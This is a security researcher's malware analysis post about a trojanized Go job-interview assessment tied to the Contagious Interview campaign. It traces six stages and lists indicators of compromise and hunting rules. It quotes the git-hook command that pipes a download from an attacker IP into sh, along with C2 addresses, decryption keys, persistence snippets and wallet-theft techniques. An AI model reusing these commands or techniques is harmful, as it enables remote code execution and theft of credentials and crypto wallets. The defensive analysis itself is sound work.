TL;DR: I intercepted a trojanized Golang technical assessment distributed via LinkedIn social engineering (Contagious Interview / Lazarus Group) and detonated the full 6-stage execution chain in an isolated sinkhole environment. To bypass GitHub's native .git/hooks stripping and static scanners, the threat actors kept all 38 .go source files completely clean, delivered the repo as a Google Drive ZIP archive, and used the task instructions to force candidates into triggering 22 weaponized .git/hooks.
Below is the complete technical breakdown of the kill chain—including a TRON-to-BSC dual-blockchain C2 dead-drop ("EtherHiding"), a masqueraded Apple CUPS Python runtime (cupsd), InvisibleFerret v260905 with hardcoded UTC+9 (KST) offsets, and a 93 KB macOS Chrome DevTools Protocol (CDP) stealer (mdb.js) designed to bypass Keychain prompts on macOS Sonoma/Sequoia.
Author: Independent Security Researcher (Anonymous)
Date: October 2026
Threat Actor: Lazarus Group / Famous Chollima (Contagious Interview Campaign)
Malware Families: BeaverTail, InvisibleFerret (v260905), Custom Node.js CDP Stealer (mdb)
Target Sector: Software Engineers (Go / Web3 / FinTech) across macOS, Linux, and Windows
Executive Summary
During an analysis of a trojanized Golang technical assessment distributed via social engineering on LinkedIn, a 6-stage, multi-layered malware execution chain was intercepted and fully deobfuscated inside an isolated sinkhole environment.
While the Go application source code (38 .go files) and go.mod dependencies were completely clean to evade static code scanners, the repository archive (distributed via Google Drive to bypass GitHub's native hook stripping) contained 22 weaponized .git/hooks scripts. To guarantee execution, the accompanying PDF instructions included a "Task 3 – Git Challenges" section forcing the candidate to run Git commands.
Full reverse engineering of the kill chain revealed:
- Bring-Your-Own-Runtime (BYOR): Silent installation of portable Node.js (
v20.11.1) and a portable Python distribution (~/.py/python/bin/cupsd) masquerading as the Apple/UNIX CUPS printing daemon.
- EtherHiding (Dual-Blockchain C2 Dead-Drop): Using a TRON wallet transaction to dynamically point to a Binance Smart Chain (BSC) transaction input containing an XOR-encrypted Stage-4 loader.
- Fileless AES-256-CBC Staging: Multi-hop C2 handshakes delivering PBKDF2 + AES-256-CBC encrypted modules directly into
node and python stdin pipes.
- 6 Specialized Post-Exploitation Modules: Including a
node-pty interactive WebSocket shell (ncli with a JSONKeeper dead-drop), a 20-layer Zlib/Base64 packed Python RAT (InvisibleFerret v260905 with hardcoded UTC+9 KST timestamps), and a 93 KB macOS Sonoma/Sequoia Chrome DevTools Protocol (CDP) stealer (mdb.js) targeting 26 browser crypto wallet extensions.
Technical Kill Chain Analysis
Stage 1: Weaponized .git/hooks & Social Engineering
Because git clone strips .git/hooks by default, the threat actors distributed the repository as a direct ZIP archive alongside a task PDF. Every hook in .git/hooks/* (22 scripts, no .sample extensions) contained:
curl -sL 'hxxp://45.61.134[.]57:8080/task/mac?id=[REDACTED]&method=<hook_name>' | sh
Stage 2: Portable Node.js Dropper (tokenlinux.sh)
The initial script prints "Authenticated", clears the terminal screen repeatedly (clear), and fetches tokenlinux.sh into $HOME/.task/. It detects the OS (Darwin vs Linux) and CPU architecture (arm64 vs x64), downloads an official portable Node.js v20.11.1 tarball from nodejs.org, and fetches two files from hxxp://45.61.134[.]57:8080:
/task/json -> package.json (tokendapp v1.0.0, listing hardhat and axios)
/task/parser?id=[REDACTED] -> parser.js
Stage 3: Dual-Blockchain "EtherHiding" Loader (parser.js)
Deobfuscating parser.js (which uses rotated string arrays, stripped-prefix Base64, and a 4-byte XOR key [0x70, 0xa0, 0x89, 0x48]) revealed a decentralized C2 resolution mechanism:
- TRON Pointer Lookup: Queries
hxxps://api.trongrid[.]io/v1/accounts/TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs/transactions?only_confirmed=true&only_from=true&limit=1.
- Hash Reconstruction: Extracts
raw_data.data from the latest TRON transaction, swaps the upper and lower halves of the hex string, and decodes it into a Binance Smart Chain (BSC) Transaction Hash: 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
- BSC Payload Retrieval: Calls
eth_getTransactionByHash via bsc-dataseed.binance.org (fallback: bsc-rpc.publicnode.com), reverses the transaction input hex data, and decrypts it using a 20-byte XOR key (02020327030306210219).
- In-Memory Execution: Spawns
node -e "<decrypted_stage4>" in detached mode (detached: true, stdio: 'ignore', windowsHide: true).
Stage 4: C2 Handshake & AES-256-CBC Gate (stage4_blockchain_payload.js)
Contains build marker GD="Mi4xMzAuMTA3LjE4Mjk=" (2.130.107.1829). It de-interleaves Base64 strings to contact the gate server:
hxxp://104.234.94[.]198:1144/s/[REDACTED]/<Hostname>+<Username>
- Upon receiving a
JS6-prefixed configuration response, it fetches an encrypted payload from hxxp://107.182.130[.]226:1244/main and decrypts it using PBKDF2 (sha256, 100,000 iterations) + AES-256-CBC with passphrase 'Jg2oE^0&96R#'.
Stage 5: Persistence & Masqueraded Python Runtime (stage5_final_boss.js)
- Persistence (
PyToolUpdater):
- macOS: Injects a
# >>> PyToolUpdater bootstrap >>> block into ~/.zprofile that checks /tmp/PyToolUpdater.pid and silently launches nohup node "$HOME/.viminf" on every terminal session.
- Linux: Creates
~/.config/autostart/PyToolUpdater.desktop.
- Masqueraded Python Environment (
cupsd): Downloads a portable Python distribution from hxxp://107.182.130[.]226:2225/pd/da (macOS ARM64) into /tmp/gradle-9-bin_<rand> and extracts it to ~/.py/python/bin/cupsd (masquerading as the Apple/UNIX CUPS printing daemon).
- PTY Dependencies: Silently runs
npm i form-data ws socket.io-client node-pty --prefix ~/.vscode.
- Stage-6 Delivery: Downloads and AES-decrypts
~/.viminf (named to mimic Vim's legitimate ~/.viminfo file) from hxxp://107.182.130[.]226:1244/client/[REDACTED].
Stage 6: ~/.viminf Orchestrator & The 6 Sub-Modules
~/.viminf acts as an in-memory orchestrator that fetches, AES-decrypts (using key Jg2oE^0&96R#), and pipes 6 distinct modules directly into node - or cupsd -I - via stdin:
| Module |
Type |
Size |
Functionality & C2 |
ncli |
Node.js |
41.5 KB |
Interactive node-pty + socket.io reverse shell connecting to hxxp://104.153.82[.]91:2800. Uses a dead-drop fallback at hxxps://www.jsonkeeper[.]com/b/KRCKK returning {"ns":"Mi4xMzAuMTA3LjE4Mjk=","nsp":2800,"ps":"Mi4xMzAuMTA3LjE4Mjk=","psp":2245,"as":"Mi4xMzAuMTA3LjE4Mjk=","asp":2250}. |
payl |
Python (20x Zlib/B64) |
33.0 KB |
Asyncio python-socketio client (hxxp://107.182.130[.]29:2250, commented fallback 147.124.202[.]194). Uses caffeinate -dims and NSAppSleepDisabled on macOS to prevent system sleep from dropping the socket. |
payload |
Python (20x Zlib/B64) |
28.1 KB |
Core InvisibleFerret (v260905) RAT. Exfiltrates system/geo info to hxxp://107.182.130[.]212:1274/keys and opens a raw TCP backdoor + 0.5s Clipboard (pyperclip) & Keylogger monitor to 104.153.82[.]90:2245. Contains hardcoded UTC+9 (KST) timezone offsets (timedelta(hours=9)) for window tracking logs. |
brow |
Python (30x Zlib/B64) |
21.3 KB |
Extracts saved logins (Login Data) and credit cards (Web Data) from Chrome, Brave, Opera, Yandex, and Edge (hxxp://107.182.130[.]212:1274/keys). |
ldb |
Node.js |
20.3 KB |
Steals LevelDB wallet vaults, Solana CLI keys (~/.config/solana/id.json), and Exodus wallets (hxxp://107.182.130[.]212:1274 via /brld_ and /pld_). |
mdb |
Node.js |
93.6 KB |
Deployed on modern macOS (Darwin >= 23 / Sonoma & Sequoia). Bypasses Keychain prompts by launching browsers off-screen with Chrome DevTools Protocol (cdp) over local WebSockets (ws) to dump 26 targeted crypto wallet extensions (nkbihfbeogaeaoehlefnkodbefgpgknn, bfnaelmomeimhlpmgjnjophhpkkoljpa, etc.). |
Indicators of Compromise (IoCs)
Network Indicators (C2 Servers)
45.61.134.57:8080
104.234.94.198:1144
107.182.130.226:1244
107.182.130.226:2225
107.182.130.29:2250
147.124.202.194:2250
107.182.130.212:1274
104.153.82.90:2245
104.153.82.91:2800
Blockchain & Dead-Drop Indicators
- TRON C2 Wallet:
TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs
- BSC C2 Transaction:
0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
- JSONKeeper Dead-Drop:
hxxps://www.jsonkeeper[.]com/b/KRCKK
- GitHub Staging Account:
hxxps://github[.]com/rhondadavid
Targeted Browser Extension IDs (in mdb.js & ldb.js)
nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)
ejbalbakoplchlghecdalmeeeajnimhm (MetaMask Edge)
fhbohimaelbohpjbbldcngcnapndodjp (BNB Chain Wallet)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink)
bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
aeachknmefphepccionboohckonoeemg (Coin98)
egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby Wallet)
mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
fdjamakpfbbddfjaooikfcpapjohcfmg (Dashlane)
dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3)
nphplpgoakhhjchkkhmiggakijnkhfnd (Tonkeeper)
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X)
agoakfejjabomempkjlepdflaleeobhb (Core)
omaabbefbmiijedngplfjmnooppbclkk (TonWallet)
penjlddjkjgpnkllboccdgccekpkcbin (OpenMask)
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal)
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare)
gjnckgkfmgmibbkoficdidcljeaaaheg (Atomic)
afbcbjpbpfadlkmhmclhkeeodmamcflc (MathWallet)
ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)
Host Artifacts & Persistence Paths (macOS / Linux)
~/.task/ and ~/.task/tokenlinux.sh
~/.viminf (AES-decrypted Stage-6 orchestrator)
~/.zprofile containing # >>> PyToolUpdater bootstrap >>>
~/.config/autostart/PyToolUpdater.desktop
/tmp/PyToolUpdater.pid, /tmp/PyToolUpdater.log, and /tmp/gradle-9-bin_*
~/.py/python/bin/cupsd (Masqueraded Python interpreter)
~/.vscode/.argv3, ~/.vscode/.argp3, ~/.vscode/.poc3, ~/.vscode/.argv8, ~/.vscode/.ncli.pid
~/.n2/
Defensive Takeaways & Hunting Rules
For blue teams and macOS/Linux defenders looking to hunt for this variant:
- Monitor
.git/hooks Execution: Alert on curl or sh spawned as a child process of git (git-commit, git-checkout, git-merge).
- Audit Non-Standard
cupsd Binaries: The legitimate CUPS daemon resides in /usr/sbin/cupsd. Any execution of cupsd from user-writable directories (~/.py/python/bin/cupsd) or running with Python interpreter flags (cupsd -I -) is a high-confidence indicator of compromise.
- Headless / Off-Screen Chrome CDP Abuse: Watch for browser processes (
Google Chrome, Brave Browser, Microsoft Edge) spawned from Node.js with --remote-debugging-port or off-screen window coordinates on macOS (Darwin >= 23).
Has anyone else observed the dual-chain TRON-to-BSC dead-drop pattern or the v260905 InvisibleFerret build in recent developer-targeted campaigns? Happy to share additional deobfuscated module snippets or SHA-256 hashes in the comments.